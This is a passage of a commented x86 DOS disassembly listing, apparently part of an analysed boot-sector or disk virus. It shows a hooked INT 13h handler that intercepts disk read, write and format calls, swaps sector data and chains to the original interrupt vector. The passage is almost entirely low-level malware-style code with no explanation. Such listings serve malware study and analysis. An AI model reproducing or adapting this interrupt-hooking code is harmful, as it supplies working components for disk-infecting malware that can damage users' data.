  1917. 0615  A1 046C                              mov     ax,data_15              ; (046C=0C133h)
  1918.  
  1919. 0618  33 DB                                xor     bx,bx                   ; Zero register
  1920.  
  1921. 061A  86 DC                                xchg    bl,ah
  1922.  
  1923. 061C  03 DB                                add     bx,bx
  1924.  
  1925. 061E  03 DE                                add     bx,si
  1926.  
  1927. 0620  03 C0                                add     ax,ax
  1928.  
  1929. 0622  03 F0                                add     si,ax
  1930.  
  1931. 0624  26: 8B 07                            mov     ax,es:[bx]
  1932.  
  1933. 0627  26: 87 04                            xchg    ax,es:[si]
  1934.  
  1935. 062A  26: 89 07                            mov     es:[bx],ax
  1936.  
  1937. 062D  F9                                   stc                             ; Set carry flag
  1938.  
  1939. 062E                       loc_62:
  1940.  
  1941. 062E  5A                                   pop     dx
  1942.  
  1943. 062F  59                                   pop     cx
  1944.  
  1945. 0630  5B                                   pop     bx
  1946.  
  1947. 0631  73 08                                jnc     loc_63                  ; Jump if carry=0
  1948.  
  1949. 0633  B8 0301                              mov     ax,301h
  1950.  
  1951. 0636  9C                                   pushf                           ; Push flags
  1952.  
  1953. 0637  0E                                   push    cs
  1954.  
  1955. 0638  E8 006F                              call    $+72h
  1956.  
  1957. 063B                       loc_63:
  1958.  
  1959. 063B  58                                   pop     ax
  1960.  
  1961. 063C  72 04                                jc      loc_64                  ; Jump if carry Set
  1962.  
  1963. 063E  FE C8                                dec     al
  1964.  
  1965. 0640  75 8F                                jnz     loc_57                  ; Jump if not zero
  1966.  
  1967. 0642                       loc_64:
  1968.  
  1969. 0642  1F                                   pop     ds
  1970.  
  1971. 0643  5E                                   pop     si
  1972.  
  1973. 0644  59                                   pop     cx
  1974.  
  1975. 0645  5B                                   pop     bx
  1976.  
  1977. 0646                       loc_65:
  1978.  
  1979. 0646  58                                   pop     ax
  1980.  
  1981. 0647  D1 E8                                shr     ax,1                    ; Shift w/zeros fill
  1982.  
  1983. 0649  73 3F                                jnc     loc_69                  ; Jump if carry=0
  1984.  
  1985. 064B  B8 0100                              mov     ax,100h
  1986.  
  1987. 064E  EB 3C                                jmp     short loc_70
  1988.  
  1989. 0650  00 00                                add     [bx+si],al
  1990.  
  1991. 0652                       loc_66:
  1992.  
  1993. 0652  2E: FF 36 06AF                       push    word ptr cs:[6AFh]      ; (06AF=0F086h)
  1994.  
  1995. 0657  9D                                   popf                            ; Pop flags
  1996.  
  1997. 0658  74 50                                jz      $+52h                   ; Jump if zero
  1998.  
  1999. 065A  2E: 88 26 06B3                       mov     byte ptr cs:[6B3h],ah   ; (06B3=0)
  2000.  
  2001. 065F  2E: 89 0E 06B8                       mov     word ptr cs:[6B8h],cx   ; (06B8=6)
  2002.  
  2003. 0664  2E: 3A 26 06B6                       cmp     ah,byte ptr cs:[6B6h]   ; (06B6=3)
  2004.  
  2005. 0669  75 03                                jne     loc_67                  ; Jump if not equal
  2006.  
  2007. 066B  80 F4 01                             xor     ah,1
  2008.  
  2009. 066E                       loc_67:
  2010.  
  2011. 066E  51                                   push    cx
  2012.  
  2013. 066F  B9 FFFF                              mov     cx,0FFFFh
  2014.  
  2015. 0672  9C                                   pushf                           ; Push flags
  2016.  
  2017. 0673  0E                                   push    cs
  2018.  
  2019. 0674  E8 002E                              call    sub_10
  2020.  
  2021. 0677  59                                   pop     cx
  2022.  
  2023. 0678  9C                                   pushf                           ; Push flags
  2024.  
  2025. 0679  2E: 80 3E 06B3 00                    cmp     byte ptr cs:[6B3h],0    ; (06B3=0)
  2026.  
  2027. 067F                       loc_68:
  2028.  
  2029. 067F  75 FE                                jne     loc_68                  ; Jump if not equal
  2030.  
  2031. 0681  9D                                   popf                            ; Pop flags
  2032.  
  2033. 0682  73 08                                jnc     loc_70                  ; Jump if carry=0
  2034.  
  2035. 0684  80 FC 01                             cmp     ah,1
  2036.  
  2037. 0687  F9                                   stc                             ; Set carry flag
  2038.  
  2039. 0688  75 02                                jnz     loc_70                  ; Jump if not zero
  2040.  
  2041. 068A                       loc_69:
  2042.  
  2043. 068A  33 C0                                xor     ax,ax                   ; Zero register
  2044.  
  2045. 068C                       loc_70:
  2046.  
  2047. 068C  FB                                   sti                             ; Enable interrupts
  2048.  
  2049. 068D  CA 0002                              retf    2                       ; Return far
  2050.  
  2051.  
  2052.  
  2053.                                 ;==========================================================================
  2054.  
  2055.                                 ;                              SUBROUTINE
  2056.  
  2057.                                 ;               INT     13h
  2058.  
  2059.                                 ;==========================================================================
  2060.  
  2061.  
  2062.  
  2063. 0690  2E: 3A 26 06B7                       cmp     ah,byte ptr cs:[6B7h]   ; (06B7=4)
  2064.  
  2065. 0695  74 F3                                je      loc_69                  ; Jump if equal
  2066.  
  2067. 0697  84 E4                                test    ah,ah
  2068.  
  2069. 0699  74 EF                                jz      loc_69                  ; Jump if zero
  2070.  
  2071. 069B  80 FC 01                             cmp     ah,1
  2072.  
  2073. 069E  74 05                                je      loc_71                  ; Jump if equal
  2074.  
  2075. 06A0  80 FC 05                             cmp     ah,5
  2076.  
  2077. 06A3  72 AD                                jb      loc_66                  ; Jump if below
  2078.  
  2079.  
  2080.  
  2081.                                 sub_10          proc    near
  2082.  
  2083. 06A5                       loc_71:
  2084.  
  2085. 06A5  EA 0070:1001                         jmp     far ptr loc_1           ; ORG INT 13
  2086.  
  2087.                                 sub_10          endp
  2088.  
  2089.  
  2090.  
  2091.  
  2092.  
  2093.  
  2094.  
  2095.  
  2096.  
  2097.  
  2098.  
  2099.  
  2100.  
  2101.  
  2102.  
  2103.